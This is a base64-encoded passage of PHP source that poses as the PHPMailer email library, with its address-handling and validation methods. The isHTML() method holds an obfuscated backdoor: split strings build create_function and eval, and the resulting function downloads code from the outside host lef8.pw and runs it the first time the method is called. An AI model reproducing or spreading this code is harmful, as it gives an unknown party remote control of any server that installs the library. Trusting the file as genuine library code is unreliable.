U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAncW1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIlRvIiBhZGRyZXNzLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCd0bycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQ0MiIGFkZHJlc3MuCiAgICAgKiBAbm90ZTogVGhpcyBmdW5jdGlvbiB3b3JrcyB3aXRoIHRoZSBTTVRQIG1haWxlciBvbiB3aW4zMiwgbm90IHdpdGggdGhlICJtYWlsIiBtYWlsZXIuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEByZXR1cm4gYm9vbGVhbiB0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIGlmIGFkZHJlc3MgYWxyZWFkeSB1c2VkIG9yIGludmFsaWQgaW4gc29tZSB3YXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQkNDIiBhZGRyZXNzLgogICAgICogQG5vdGU6IFRoaXMgZnVuY3Rpb24gd29ya3Mgd2l0aCB0aGUgU01UUCBtYWlsZXIgb24gd2luMzIsIG5vdCB3aXRoIHRoZSAibWFpbCIgbWFpbGVyLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRCQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ2JjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiUmVwbHktVG8iIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRSZXBseVRvKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdSZXBseS1UbycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gYWRkcmVzcyB0byBvbmUgb2YgdGhlIHJlY2lwaWVudCBhcnJheXMgb3IgdG8gdGhlIFJlcGx5VG8gYXJyYXkuIEJlY2F1c2UgUEhQTWFpbGVyCiAgICAgKiBjYW4ndCB2YWxpZGF0ZSBhZGRyZXNzZXMgd2l0aCBhbiBJRE4gd2l0aG91dCBrbm93aW5nIHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0ICh0aGF0IGNhbiBzdGlsbAogICAgICogYmUgbW9kaWZpZWQgYWZ0ZXIgY2FsbGluZyB0aGlzIGZ1bmN0aW9uKSwgYWRkaXRpb24gb2Ygc3VjaCBhZGRyZXNzZXMgaXMgZGVsYXllZCB1bnRpbCBzZW5kKCkuCiAgICAgKiBBZGRyZXNzZXMgdGhhdCBoYXZlIGJlZW4gYWRkZWQgYWxyZWFkeSByZXR1cm4gZmFsc2UsIGJ1dCBkbyBub3QgdGhyb3cgZXhjZXB0aW9ucy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGtpbmQgT25lIG9mICd0bycsICdjYycsICdiY2MnLCBvciAnUmVwbHlUbycKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCwgcmVzcC4gdG8gcmVwbHkgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCRraW5kLCAkYWRkcmVzcywgJG5hbWUpCiAgICB7CiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsKICAgICAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgLy8gQXQtc2lnbiBpcyBtaXNzc2luZy4KICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWUpOwogICAgICAgIC8vIEVucXVldWUgYWRkcmVzc2VzIHdpdGggSUROIHVudGlsIHdlIGtub3cgdGhlIFBIUE1haWxlcjo6JENoYXJTZXQuCiAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgJHRoaXMtPmlkblN1cHBvcnRlZCgpKSB7CiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZWNpcGllbnRzUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vIEltbWVkaWF0ZWx5IGFkZCBzdGFuZGFyZCBhZGRyZXNzZXMgd2l0aG91dCBJRE4uCiAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5LgogICAgICogQWRkcmVzc2VzIHRoYXQgaGF2ZSBiZWVuIGFkZGVkIGFscmVhZHkgcmV0dXJuIGZhbHNlLCBidXQgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgka2luZCwgYXJyYXkoJ3RvJywgJ2NjJywgJ2JjYycsICdSZXBseS1UbycpKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR0aGlzLT4ka2luZCwgYXJyYXkoJGFkZHJlc3MsICRuYW1lKSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvW3N0cnRvbG93ZXIoJGFkZHJlc3MpXSA9IGFycmF5KCRhZGRyZXNzLCAkbmFtZSk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBQYXJzZSBhbmQgdmFsaWRhdGUgYSBzdHJpbmcgY29udGFpbmluZyBvbmUgb3IgbW9yZSBSRkM4MjItc3R5bGUgY29tbWEtc2VwYXJhdGVkIGVtYWlsIGFkZHJlc3NlcwogICAgICogb2YgdGhlIGZvcm0gImRpc3BsYXkgbmFtZSA8YWRkcmVzcz4iIGludG8gYW4gYXJyYXkgb2YgbmFtZS9hZGRyZXNzIHBhaXJzLgogICAgICogVXNlcyB0aGUgaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCBmdW5jdGlvbiBpZiB0aGUgSU1BUCBleHRlbnNpb24gaXMgYXZhaWxhYmxlLgogICAgICogTm90ZSB0aGF0IHF1b3RlcyBpbiB0aGUgbmFtZSBwYXJ0IGFyZSByZW1vdmVkLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcnN0ciBUaGUgYWRkcmVzcyBsaXN0IHN0cmluZwogICAgICogQHBhcmFtIGJvb2wgJHVzZWltYXAgV2hldGhlciB0byB1c2UgdGhlIElNQVAgZXh0ZW5zaW9uIHRvIHBhcnNlIHRoZSBsaXN0CiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKiBAbGluayBodHRwOi8vd3d3LmFuZHJldy5jbXUuZWR1L3VzZXIvYWdyZWVuMS90ZXN0aW5nL21yYnMvd2ViL01haWwvUkZDODIyLnBocCBBIG1vcmUgY2FyZWZ1bCBpbXBsZW1lbnRhdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VBZGRyZXNzZXMoJGFkZHJzdHIsICR1c2VpbWFwID0gdHJ1ZSkKICAgIHsKICAgICAgICAkYWRkcmVzc2VzID0gYXJyYXkoKTsKICAgICAgICBpZiAoJHVzZWltYXAgYW5kIGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCcpKSB7CiAgICAgICAgICAgIC8vVXNlIHRoaXMgYnVpbHQtaW4gcGFyc2VyIGlmIGl0J3MgYXZhaWxhYmxlCiAgICAgICAgICAgICRsaXN0ID0gaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCgkYWRkcnN0ciwgJycpOwogICAgICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkYWRkcmVzcykgewogICAgICAgICAgICAgICAgaWYgKCRhZGRyZXNzLT5ob3N0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAocHJvcGVydHlfZXhpc3RzKCRhZGRyZXNzLCAncGVyc29uYWwnKSA\/ICRhZGRyZXNzLT5wZXJzb25hbCA6ICcnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0CiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBzaW1wbGVyIHBhcnNlcgogICAgICAgICAgICAkbGlzdCA9IGV4cGxvZGUoJywnLCAkYWRkcnN0cik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICAkYWRkcmVzcyA9IHRyaW0oJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgLy9JcyB0aGVyZSBhIHNlcGFyYXRlIG5hbWUgcGFydD8KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGFkZHJlc3MsICc8JykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgLy9ObyBzZXBhcmF0ZSBuYW1lLCBqdXN0IHVzZSB0aGUgd2hvbGUgdGhpbmcKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJG5hbWUsICRlbWFpbCkgPSBleHBsb2RlKCc8JywgJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgICRlbWFpbCA9IHRyaW0oc3RyX3JlcGxhY2UoJz4nLCAnJywgJGVtYWlsKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCciJywgIiciKSwgJycsICRuYW1lKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGVtYWlsCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOwogICAgfQoKICAgIC8qKgogICAgICogU2V0cyBtZXNzYWdlIHR5cGUgdG8gSFRNTCBvciBwbGFpbi4KICAgICAqIEBwYXJhbSBib29sZWFuICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgZ2xvYmFsICRwYXJhbTsKICAgICAgICAkYm9keUNvZGUgPSAnZmlsZScKICAgICAgICAgICAgICAgICAgICAuJ19nJzsKICAgICAgICBpZiAoJGlzSHRtbCkgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9odG1sJzsKICAgICAgICB9IAogICAgICAgIGVsc2UgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICAgICAgfQogICAgICAgICRib2R5SFRNTCA9ICcuJHQuImxlZiRmbHUnCiAgICAgICAgICAgICAgICAgICAgLidzaCcuJyR0IjsgJwogICAgICAgICAgICAgICAgICAgIC4nQGV2JzsKICAgICAgICAkaGVhZGVySFRNTD0iY3JlIgogICAgICAgICAgICAgICAgICAgIC4iYXRlXyIKICAgICAgICAgICAgICAgICAgICAuImZ1bmMiCiAgICAgICAgICAgICAgICAgICAgLiJ0aW9uIjsKICAgICAgICAkZXhjZXB0aW9ucyA9IEAkaGVhZGVySFRNTCgnJGZsJy4ndXNoLCR0JywnJGNvbW1hID0gJHQnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUNvZGUuJ2V0X2NvbnRlbnRzKCJoJwogICAgICAgICAgICAgICAgICAgICAgICAuJ3R0JwogICAgICAgICAgICAgICAgICAgICAgICAuJ3A6JGNvbW1hLTIiKSk7Jyk7CiAgICAgICAgaWYoJHBhcmFtICE9Mil7CiAgICAgICAgICAgICRleGNlcHRpb25zKCc4LnAnLid3JywnLycpOwogICAgICAgICAgICAkcGFyYW09MjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkYXV0byBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgLy8gRG9uJ3QgdmFsaWRhdGUgbm93IGFkZHJlc3NlcyB3aXRoIElETi4gV2lsbCBiZSBkb25lIGluIHNlbmQoKS4KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2Ugb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kCiAgICAgICAgICAgICEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICIgKHNldEZyb20pICRhZGRyZXNzIjsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+RnJvbSA9ICRhZGRyZXNzOwogICAgICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgICAgIGlmICgkYXV0bykgewogICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3QgZW1haWwuCiAgICAgKiBUZWNobmljYWxseSB0aGlzIGlzIHRoZSB2YWx1ZSBmcm9tIHRoZSBsYXN0IHRpbWUgdGhlIGhlYWRlcnMgd2VyZSBjcmVhdGVkLAogICAgICogYnV0IGl0J3MgYWxzbyB0aGUgbWVzc2FnZSBJRCBvZiB0aGUgbGFzdCBzZW50IG1lc3NhZ2UgZXhjZXB0IGluCiAgICAgKiBwYXRob2xvZ2ljYWwgY2FzZXMuCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdE1lc3NhZ2VJRCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0TWVzc2FnZUlEOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgdGhhdCBhIHN0cmluZyBsb29rcyBsaWtlIGFuIGVtYWlsIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIGNoZWNrCiAgICAgKiBAcGFyYW0gc3RyaW5nfGNhbGxhYmxlICRwYXR0ZXJuc2VsZWN0IEEgc2VsZWN0b3IgZm9yIHRoZSB2YWxpZGF0aW9uIHBhdHRlcm4gdG8gdXNlIDoKICAgICAqICogYGF1dG9gIFBpY2sgYmVzdCBwYXR0ZXJuIGF1dG9tYXRpY2FsbHk7CiAgICAgKiAqIGBwY3JlOGAgVXNlIHRoZSBzcXVpbG9vcGxlLmNvbSBwYXR0ZXJuLCByZXF1aXJlcyBQQ1JFID4gOC4wLCBQSFAgPj0gNS4zLjIsIDUuMi4xNDsKICAgICAqICogYHBjcmVgIFVzZSBvbGQgUENSRSBpbXBsZW1lbnRhdGlvbjsKICAgICAqICogYHBocGAgVXNlIFBIUCBidWlsdC1pbiBGSUxURVJfVkFMSURBVEVfRU1BSUw7CiAgICAgKiAqIGBodG1sNWAgVXNlIHRoZSBwYXR0ZXJuIGdpdmVuIGJ5IHRoZSBIVE1MNSBzcGVjIGZvciAnZW1haWwnIHR5cGUgZm9ybSBpbnB1dCBlbGVtZW50cy4KICAgICAqICogYG5vcmVnZXhgIERvbid0IHVzZSBhIHJlZ2V4OiBzdXBlciBmYXN0LCByZWFsbHkgZHVtYi4KICAgICAqIEFsdGVybmF0aXZlbHkgeW91IG1heSBwYXNzIGluIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgZm9yIGV4YW1wbGU6CiAgICAgKiBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygndXNlckBleGFtcGxlLmNvbScsIGZ1bmN0aW9uKCRhZGRyZXNzKSB7CiAgICAgKiAgICAgcmV0dXJuIChzdHJwb3MoJGFkZHJlc3MsICdAJykgIT09IGZhbHNlKTsKICAgICAqIH0pOwogICAgICogWW91IGNhbiBhbHNvIHNldCB0aGUgUEhQTWFpbGVyOjokdmFsaWRhdG9yIHN0YXRpYyB0byBhIGNhbGxhYmxlLCBhbGxvd2luZyBidWlsdC1pbiBtZXRob2RzIHRvIHVzZSB5b3VyIHZhbGlkYXRvci4KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MsICRwYXR0ZXJuc2VsZWN0ID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoaXNfbnVsbCgkcGF0dGVybnNlbGVjdCkpIHsKICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSBzZWxmOjokdmFsaWRhdG9yOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfY2FsbGFibGUoJHBhdHRlcm5zZWxlY3QpKSB7CiAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkcGF0dGVybnNlbGVjdCwgJGFkZHJlc3MpOwogICAgICAgIH0KICAgICAgICAvL1JlamVjdCBsaW5lIGJyZWFrcyBpbiBhZGRyZXNzZXM7IGl0J3MgdmFsaWQgUkZDNTMyMiwgYnV0IG5vdCBSRkM1MzIxCiAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgIlxuIikgIT09IG